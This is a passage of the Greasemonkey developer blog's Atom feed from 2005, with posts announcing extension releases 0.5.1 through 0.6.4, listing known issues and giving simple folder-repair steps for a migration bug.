href='http://www.greasespot.net/2005/12/workarounds-for-missing-xmlhttprequest.html' title='Workarounds for missing XMLHttpRequest, DOMParser, and XMLSerializer'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-113368682006962758</id><published>2005-12-04T00:58:00.000-08:00</published><updated>2005-12-04T01:00:20.156-08:00</updated><title type='text'>Mozdev back - Greasemonkey page updated</title><content type='html'>After some downtime due to increased load from the &lt;a href="http://mozilla.com/"&gt;Firefox 1.5&lt;/a&gt; release, mozdev is back. I took the opportunity to update the &lt;a href="http://greasemonkey.mozdev.org"&gt;Greasemonkey homepage&lt;/a&gt; and &lt;a href="http://greasemonkey.mozdev.org/authoring.html"&gt;authoring page&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-113368682006962758?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/113368682006962758/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=113368682006962758' title='21 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113368682006962758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113368682006962758'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/12/mozdev-back-greasemonkey-page-updated.html' title='Mozdev back - Greasemonkey page updated'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-113354468781457335</id><published>2005-12-02T09:19:00.001-08:00</published><updated>2005-12-02T10:01:48.366-08:00</updated><title type='text'>Slides from Nov 8 Emerging Technology SIG</title><content type='html'>Last month I was asked to give a presentation about Greasemonkey at the Emerging Technology SIG here in Mountain View. I was bored with my old presentation format, so I redesigned it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://youngpup.net/z_dropbox/gmpres-20051108/presentation.html"&gt;&lt;span style="font-weight: bold;"&gt;View the slides.&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And here's the &lt;a href="http://youngpup.net/z_dropbox/gmpres-20051108.zip"&gt;zipped package&lt;/a&gt; if you want to use the format for your own presentation.&lt;br /&gt;&lt;br /&gt;The old format also had some issues. I found that personally, the more words that were on each slide, the more I was obligated to say on each slide. It made me uncomfortable, knowing that people would see if I didn't say something I had planned to.&lt;br /&gt;&lt;br /&gt;My girlfriend, Susan, mentioned that I actually speak about Greasemonkey quite well off the cuff. So I stole an idea from other presentations I've seen and put very few words on each slide. I felt like this gave me more freedom to just talk - expanding on areas people seemed interested in, and skipping areas they didn't.&lt;br /&gt;&lt;br /&gt;There is only a very vague structure to this presentation. It's divided into several high-level sections, and each section progresses through a few phases:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Question&lt;/li&gt;&lt;li&gt;Exploration, broad answers, more questions&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Restate Question&lt;/li&gt;&lt;li&gt;Concise answer&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;I don't know if this is applicable to other presentations, but it seemed to work for Greasemonkey. Maybe Greasemonkey just has a lot of questions surrounding it :-).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-113354468781457335?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/113354468781457335/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=113354468781457335' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113354468781457335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113354468781457335'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/12/slides-from-nov-8-emerging-technology_02.html' title='Slides from Nov 8 Emerging Technology SIG'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-113345863280246413</id><published>2005-12-01T09:31:00.001-08:00</published><updated>2005-12-01T09:37:12.806-08:00</updated><title type='text'>Broken Scripts Fixed</title><content type='html'>In abscense of the wiki-like features that Jesse is building into &lt;a href="http://userscripts.org/"&gt;userscripts.org&lt;/a&gt;, I am keeping a list of scripts I have fixed for 0.6.4 at &lt;a href="http://userscripts.org/fixes"&gt;http://userscripts.org/fixes&lt;/a&gt;. I'll also post a comment on the userscripts.org page for the scripts when I make these changes.&lt;br /&gt;&lt;br /&gt;I'll keep the script there until the author updates the original location and pings me. If you're having trouble with a script, send a mail to the &lt;a href="http://greasemonkey.mozdev.org/list.html"&gt;mailing list&lt;/a&gt;, or leave a comment, and maybe I'll take a look.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-113345863280246413?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/113345863280246413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=113345863280246413' title='40 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113345863280246413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113345863280246413'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/12/broken-scripts-fixed_01.html' title='Broken Scripts Fixed'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>40</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-113339504950328965</id><published>2005-11-30T15:56:00.000-08:00</published><updated>2005-11-30T15:58:00.550-08:00</updated><title type='text'>Greasemonkey 0.6.4</title><content type='html'>It's been a long road, but a stable, secure, and much improved Greasemonkey is now available for Firefox 1.5.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://userscripts.org/greasemonkey-0.6.4.xpi"&gt;&lt;span style="font-weight: bold;"&gt;Install Greasemonkey 0.6.4&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is for Firefox 1.5 only and will not install on previous Firefoxen.  If you use a Firefox version prior to 1.5, you should continue using Greasemonkey 0.5.3.&lt;br /&gt;&lt;br /&gt;Some of the changes required for security caused minor API changes. If you are a developer and your script breaks in Greasemonkey 0.6.4, consult the &lt;a href="http://dunck.us/collab/GreaseMonkeyUserScripts?action=show&amp;redirect=GreasemonkeyUserScripts#head-4ac4d1e80f8bbd66bf4f1fbea77ea2390b6a2870"&gt;wiki&lt;/a&gt; for information on how to fix it. Or, as always, ask on the &lt;a href="http://greasemonkey.mozdev.org/list.html"&gt;mailing list&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;What's new since 0.5.x?&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt; &lt;li&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;Monkey menu: Right-click on the monkey to get quick access to enable or disable the scripts which apply to this page.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; New install UI: There's a cute new yellow install bar like the one that's displayed for extensions when you load a user script file. When you install, you get a simple animation in the status bar for the loading progress followed by a single dialog when installation is successful.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; New injection system: We now use a much stabler injection system which is only available to Firefox 1.5. This should solve all double-injects or non-injects.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The document.domain bug which was causing scripts to not inject on sites such as myspace.com fixed.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; New migration system: Greasemonkey no longer tries to migrate the script folder's location on install, which was causing install headaches for some users. Instead, it uses the old location if a previous version was already installed.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Fastback support: Previous Greasemonkeys interfered with Firefox 1.5's awesome Fastback feature. This release does not.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Remove script prefs when uninstalling the scripts.  Sort of; see issues.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Known Issues:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt; When uninstalling scripts, the "also uninstall script preferences" checkbox looks works when "OK" is clicked, rather than when "uninstall" is clicked.  In other words, before confirming uninstallation of scripts, make sure the checkbox is selected to also remove the associated prefs.  This is needlessly confusing.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-113339504950328965?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/113339504950328965/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=113339504950328965' title='86 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113339504950328965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/113339504950328965'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/11/greasemonkey-064_30.html' title='Greasemonkey 0.6.4'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>86</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112656765192444152</id><published>2005-09-12T15:41:00.000-07:00</published><updated>2005-09-12T19:39:58.560-07:00</updated><title type='text'>Firefox 1.5-compatible Greasemonkey beta now available</title><content type='html'>I've posted a beta of the next version of Greasemonkey to userscripts.org. You can access it at:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://userscripts.org/greasemonkey-0.6.2.xpi"&gt;http://userscripts.org/greasemonkey-0.6.2.xpi&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;This is for Firefox Beta 1.5 only&lt;/span&gt; and will not install on other Firefoxes.  If you use a version of the browser prior to 1.5, then you should continue using &lt;a href="http://greasemonkey.mozdev.org/changes/0.5.3.html"&gt;Greasemonkey 0.5.3&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;It's a beta, which means that it will likely break some number of your existing, working scripts. Please report these on the &lt;a href="http://greasemonkey.mozdev.org/list.html"&gt;mailing list&lt;/a&gt; and to the script author. Many breakages will be up to the script author to correct. Typically, the changes required are minor. Authors should consult the &lt;a href="http://dunck.us/collab/GreaseMonkeyUserScripts#head-4ac4d1e80f8bbd66bf4f1fbea77ea2390b6a2870"&gt;Greasemonkey Wiki&lt;/a&gt; or mailing list for help.&lt;br /&gt;&lt;br /&gt;There is currently no Greasemonkey 0.5.x for Firefox 1.5 beta. It's my hope that user script authors will update their scripts so that such a release is not necessary. So please, bug script authors whose scripts break :-).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What's new?&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Monkey menu&lt;/span&gt;: Click the monkey to get quick access to enabling and disabling each of your scripts. You can also see at a glance which scripts ran on the current page.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;New install UI&lt;/span&gt;: We no longer pop up two modal dialogs everytime you install a script. Instead, a simple animated status message to the left of the monkey tells you everything went OK.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;New injection system:&lt;/span&gt; We now use a much stabler injection system which is only available to Firefox 1.5. This should solve all double-injects or non-injects (except for document.domain issues discussed below).&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;New migration system:&lt;/span&gt; Greasemonkey no longer tries to migrate the script folder's location on install, which was causing install headaches for some users. Instead, it uses the old location if a previous version was already installed.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Fastback support:&lt;/span&gt; Previous Greasemonkeys interfered with Firefox 1.5's awesome Fastback feature. This release does not.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Known Issues:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;em&gt;Update:&lt;/em&gt; If you install Greasemonkey 0.6.2 without any prior version installed, installing scripts will not work.  You'll see a "file not found error.  We'll be updating soon to fix this and are sorry for the bug.  Meanwhile, the following will fix you up:&lt;br /&gt;  &lt;ol&gt;&lt;br /&gt;  &lt;li&gt;cd &amp;lt;your profile directory&amp;gt;&lt;/li&gt;&lt;br /&gt;  &lt;li&gt;mkdir gm_scripts&lt;/li&gt;&lt;br /&gt;  &lt;li&gt;Unix: touch gm_scripts/config.xml&lt;/li&gt;&lt;br /&gt;  &lt;li&gt;Windows: echo "" &amp;gt; gm_scripts\config.xml&lt;/li&gt;&lt;br /&gt;  &lt;/ol&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Greasemonkey 0.6.2 does not inject on websites which use the document.domain javascript property. Notable examples are &lt;a href="http://search.ebay.com/foo"&gt;search.ebay.com&lt;/a&gt; and &lt;a href="http://yahoo.com/"&gt;yahoo.com&lt;/a&gt;. This is due to a &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=307980"&gt;Firefox bug&lt;/a&gt; which will be fixed before 1.5 ships.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Scripts which use any of the properties of the location object fail with NS_ERROR_INVALID_POINTER. This is due to a &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=307983"&gt;Firefox bug&lt;/a&gt; which will be fixed before 1.5 ships. As a temporary workaround, script authors may wrap code which accesses the location object with a &lt;code&gt;window.setTimeout&lt;/code&gt; call. So for instance, instead of &lt;code&gt;window.location.replace('foo')&lt;/code&gt;, use &lt;code&gt;window.setTimeout(function(){ window.location.replace('foo') });&lt;/code&gt;.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;XPCNativeWrapper reminders:&lt;br /&gt;&lt;br /&gt;The &lt;code&gt;window&lt;/code&gt; and &lt;code&gt;document&lt;/code&gt; properties in Greasemonkey 0.6.x are &lt;a href="http://developer.mozilla.org/en/docs/XPCNativeWrapper"&gt;XPCNativeWrapper&lt;/a&gt; objects, which have many annoying limitations as compared to the normal DOM objects. You can keep up with all the details as &lt;a href="http://dunck.us/collab/GreaseMonkeyUserScripts#head-4ac4d1e80f8bbd66bf4f1fbea77ea2390b6a2870"&gt;documented on the Greasemonkey wiki&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112656765192444152?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112656765192444152/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112656765192444152' title='71 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112656765192444152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112656765192444152'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/09/firefox-15-compatible-greasemonkey.html' title='Firefox 1.5-compatible Greasemonkey beta now available'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>71</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112587976782821081</id><published>2005-09-04T17:08:00.000-07:00</published><updated>2005-09-04T17:22:47.830-07:00</updated><title type='text'>General update</title><content type='html'>This bug with migration which everyone keeps encountering is really frustrating. It occurs on a large percentage of machines, but not for any of the Greasemonkey developers. For anyone who is still seeing problems where GM appears to not work at all after upgrading to 0.5.x, please see the &lt;a href="http://greaseblog.blogspot.com/2005/09/035-051-migration-madness.html"&gt;directions here&lt;/a&gt; for a simple fix.&lt;br /&gt;&lt;br /&gt;I have created a patch which forgoes automatic migration completely and just warns the user that they need to move the folder by hand, but I'm not sure whether to push it yet. I suppose it depends on how many people who were using 0.3.x have not yet upgraded.&lt;br /&gt;&lt;br /&gt;In other news, I've made quite a bit of progress on a new Greasemonkey - 0.6 - which uses a more stable injection technique which should solve a &lt;a href="http://mozdev.org/bugs/show_bug.cgi?id=11423"&gt;whole other class of problems&lt;/a&gt;. It works really well, is super simple, and uses standard APIs. So I don't expect it to have the same inconsistency across machines that the 0.5 series does.&lt;br /&gt;&lt;br /&gt;Unless I keep getting a ton of reports about bad migrations, I think I'll just leave 0.5.3 as the last of that branch and focus on 0.6, which will not have auto-migration, and thus cannot have this nasty migration bug.&lt;br /&gt;&lt;br /&gt;I guarantee that nobody is more frustrated by these bugs than me. But 0.6 should be a lot better. So just hang on, and we can all forget 0.5 as soon as possible :-).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112587976782821081?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112587976782821081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112587976782821081' title='25 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112587976782821081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112587976782821081'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/09/general-update.html' title='General update'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>25</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112577939744603660</id><published>2005-09-03T13:23:00.000-07:00</published><updated>2005-09-03T13:32:05.780-07:00</updated><title type='text'>0.5.3 available</title><content type='html'>Though still in the review queue on mozilla update, &lt;a href="http://userscripts.org/greasemonkey_0.5.3.xpi"&gt;0.5.3 is available for download&lt;/a&gt; directly from userscripts.org right now.&lt;br /&gt;&lt;br /&gt;This update solves the problems with migration from 0.3.5 that &lt;a href="http://mozdev.org/bugs/show_bug.cgi?id=11373"&gt;some people where having&lt;/a&gt; with 0.5.1. It also fixes the &lt;a href="http://bugzilla.mozdev.org/show_bug.cgi?id=11422"&gt;"Install User Script" menu item always available&lt;/a&gt; bug that pissed a lot of people off.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I'm still working on &lt;a href="http://mozdev.org/bugs/show_bug.cgi?id=11423"&gt;improving the injection system&lt;/a&gt;, which will solve all the random injection problems people are having. This will show up in Greasemonkey 0.6.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112577939744603660?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112577939744603660/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112577939744603660' title='31 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112577939744603660'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112577939744603660'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/09/053-available.html' title='0.5.3 available'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>31</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112577120669797388</id><published>2005-09-03T11:09:00.000-07:00</published><updated>2005-09-03T11:13:26.710-07:00</updated><title type='text'>0.5.2 late</title><content type='html'>Somebody &lt;a href="http://www.mozdev.org/pipermail/greasemonkey/2005-September/005482.html"&gt;discovered&lt;/a&gt; a new injection issue (:: sigh ::) in 0.5.2, so I put it off slightly. I'll be rolling back that commit and then reposting it hopefully tonight.&lt;br /&gt;&lt;br /&gt;These issues are highly personal, and seem to have to do with network connection, cpu speed, etc. Which is why I'm moving Greasemonkey back to a &lt;a href="http://www.mozdev.org/pipermail/greasemonkey/2005-August/005393.html"&gt;simpler injection system&lt;/a&gt; which should be more fool-proof.&lt;br /&gt;&lt;br /&gt;Many people are using 0.5.x without trouble (everyone who tested the alphas on the mailing list, for example). For those of you for whom it isn't, I'm not ignoring you. The next version of Greasemonkey should work much better.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112577120669797388?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112577120669797388/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112577120669797388' title='20 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112577120669797388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112577120669797388'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/09/052-late.html' title='0.5.2 late'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>20</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112560890857491762</id><published>2005-09-01T13:57:00.000-07:00</published><updated>2005-09-01T14:08:28.586-07:00</updated><title type='text'>0.3.5 -&gt; 0.5.1 migration madness</title><content type='html'>There is a &lt;a href="http://bugzilla.mozdev.org/show_bug.cgi?id=11373"&gt;bug&lt;/a&gt; in the migration code for Greasemonkey 0.5.1 which is affecting some windows users. 0.5.2 &lt;a href="http://www.mozdev.org/pipermail/greasemonkey/2005-August/005333.html"&gt;fixes&lt;/a&gt; this issue, and has been circulated through the mailing list and is looking good, but I won't be able to post it until tonight.&lt;br /&gt;&lt;br /&gt;If you want to fix your 0.5.1, I don't think it's a good idea to edit the profile files directly unless you really know what you're doing. Instead, these steps should fix most people's corruption.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Shut down Firefox.&lt;/li&gt;&lt;li&gt;Find your &lt;a href="http://kb.mozillazine.org/Profile_folder"&gt;profile directory&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Move&lt;em&gt; profileDir&lt;/em&gt;&lt;span style="font-style: italic;"&gt;/extensions/{e4a8a97b-f2ed-450b-b12d-ee082ba24781}/chrome/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;greasemonkey/content/scripts/&lt;/span&gt; to &lt;span style="font-style: italic;"&gt;profileDir/scripts&lt;/span&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Remove &lt;span style="font-style: italic;"&gt;profileDir/gm_scripts&lt;/span&gt; if it exists&lt;/li&gt;&lt;li&gt;Rename &lt;span style="font-style: italic;"&gt;profileDir/scripts&lt;/span&gt; to &lt;span style="font-style: italic;"&gt;profileDir/gm_scripts&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Restart Firefox&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112560890857491762?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112560890857491762/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112560890857491762' title='57 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112560890857491762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112560890857491762'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/09/035-051-migration-madness.html' title='0.3.5 -&gt; 0.5.1 migration madness'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>57</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112495657583846617</id><published>2005-08-25T00:51:00.000-07:00</published><updated>2005-08-25T10:01:27.943-07:00</updated><title type='text'>Greasemonkey 0.5.1 Final</title><content type='html'>Huzzah!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ftp.mozilla.org/pub/mozilla.org/extensions/greasemonkey/greasemonkey-0.5.1-fx.xpi"&gt;Greasemonkey 0.5.1 Final&lt;/a&gt; is available for download.&lt;br /&gt;&lt;br /&gt;Special thanks to "t" for reporting a user script escalation issue in the previous beta which has now been &lt;a href="http://bugzilla.mozdev.org/show_bug.cgi?id=11368"&gt;fixed&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Other changes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://mozdev.org/bugs/show_bug.cgi?id=10107"&gt;Bug 10107&lt;/a&gt; - Allow users to select a script editor. This also allows script editing to work for *nix users.&lt;/li&gt;&lt;li&gt;&lt;a href="http://bugzilla.mozdev.org/show_bug.cgi?id=11214"&gt;Bug 11214&lt;/a&gt; - Clicking "Edit" in Manager loses enable/disable changes&lt;/li&gt;&lt;li&gt;&lt;a href="http://bugzilla.mozdev.org/show_bug.cgi?id=11224"&gt;Bug 11224&lt;/a&gt; -  Grease monkey doesn't accept non english characters!&lt;/li&gt;&lt;li&gt;&lt;a href="http://bugzilla.mozdev.org/show_bug.cgi?id=11236"&gt;Bug 11236&lt;/a&gt; - The install context menu won't show if there's a node under the A element&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112495657583846617?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112495657583846617/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112495657583846617' title='61 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112495657583846617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/112495657583846617'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/08/greasemonkey-051-final.html' title='Greasemonkey 0.5.1 Final'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>61</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-112464600364113935</id><published>2005-08-21T10:38:00.000-07:00</published><updated>2005-08-21T10:40:03.646-07:00</updated><title type='text'>Gmail Preview</title><content type='html'>Mihai rocking with another great Greasemonkey script for Gmail. &lt;a href="http://persistent.info/archives/2005/08/20/gmail-preview-bubbles"&gt;This one adds full preview to your inbox items&lt;/a&gt;. Very smooth, a definite install.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-112464600364113935?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/112464600364113935/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=112464600364113935' title='54 Comments'/><link rel='edit' 